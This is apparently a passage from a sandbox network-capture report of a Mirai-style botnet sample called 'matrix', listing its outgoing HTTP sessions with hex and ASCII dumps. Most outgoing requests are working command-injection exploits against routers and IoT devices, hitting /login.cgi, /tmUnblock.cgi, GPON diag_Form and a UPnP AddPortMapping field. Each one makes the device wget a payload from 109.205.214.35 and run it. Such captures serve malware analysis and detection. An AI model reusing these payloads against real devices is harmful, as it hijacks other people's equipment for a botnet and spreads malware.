71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 21, 2024 05:17:46.643050909 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:45 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.23	38544	177.84.7.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.523001909 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:44.781956911 CET	301	IN	HTTP/1.1 200 OK Content-Type:text/html Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:17:44.782047033 CET	1286	IN	Data Raw: 63 62 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: cb6<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:17:44.782478094 CET	1286	IN	Data Raw: 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 Data Ascii: return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6Ad
Mar 21, 2024 05:17:44.782514095 CET	730	IN	Data Raw: 73 73 56 61 6c 69 64 28 48 6f 73 74 49 6e 66 6f 29 29 0d 0a 7b 0d 0a 2f 2a 20 68 6f 73 74 20 73 74 72 69 6e 67 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 70 6f 72 74 20 2a 2f 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 73 3a Data Ascii: ssValid(HostInfo)){/* host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan =
Mar 21, 2024 05:17:45.291076899 CET	730	IN	Data Raw: 73 73 56 61 6c 69 64 28 48 6f 73 74 49 6e 66 6f 29 29 0d 0a 7b 0d 0a 2f 2a 20 68 6f 73 74 20 73 74 72 69 6e 67 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 70 6f 72 74 20 2a 2f 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 73 3a Data Ascii: ssValid(HostInfo)){/* host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan =

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.23	34626	158.69.159.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.691246986 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:45.081186056 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:45.197623014 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.23	54784	172.64.92.150	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.766879082 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.23	45222	172.66.140.19	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.766993999 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:45.081451893 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:45.402853012 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.23	59150	184.25.145.146	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.831010103 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:45.694509029 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.23	43438	98.5.202.106	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.958128929 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:45.563039064 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:45.678947926 CET	35	IN	HTTP/1.0 302 Redirect
Mar 21, 2024 05:17:45.679116964 CET	401	IN	Data Raw: 53 65 72 76 65 72 3a 20 47 6f 41 68 65 61 64 2d 57 65 62 73 0d 0a 44 61 74 65 3a 20 4d 6f 6e 20 4a 61 6e 20 20 38 20 32 30 3a 30 37 3a 32 38 20 32 30 32 34 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 Data Ascii: Server: GoAhead-WebsDate: Mon Jan 8 20:07:28 2024Pragma: no-cacheCache-Control: no-cache, no-storeContent-Type: text/htmlSet-Cookie: sid=0; path=/; HttpOnly;Location: https://98.5.202.106/login.cgi<html><head></head><body>Th
Mar 21, 2024 05:17:46.047561884 CET	35	IN	HTTP/1.0 302 Redirect
Mar 21, 2024 05:17:46.745672941 CET	35	IN	HTTP/1.0 302 Redirect

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.23	52438	172.64.23.227	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.961776972 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:45.946877003 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:47.098889112 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.23	39140	59.15.176.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.982306004 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:46.586723089 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:46.897058010 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:45 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.23	33870	35.236.1.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.002994061 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:45.161813021 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.23	58862	83.66.18.219	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.011053085 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.23	47996	54.38.157.207	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.012372017 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:45.546128035 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:45.723819017 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.23	39674	109.135.157.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.156323910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.23	52200	118.100.20.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.156446934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.23	60766	109.68.198.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.156546116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.23	35324	79.29.77.139	443

Timestamp	Bytes transferred	Direction	Data
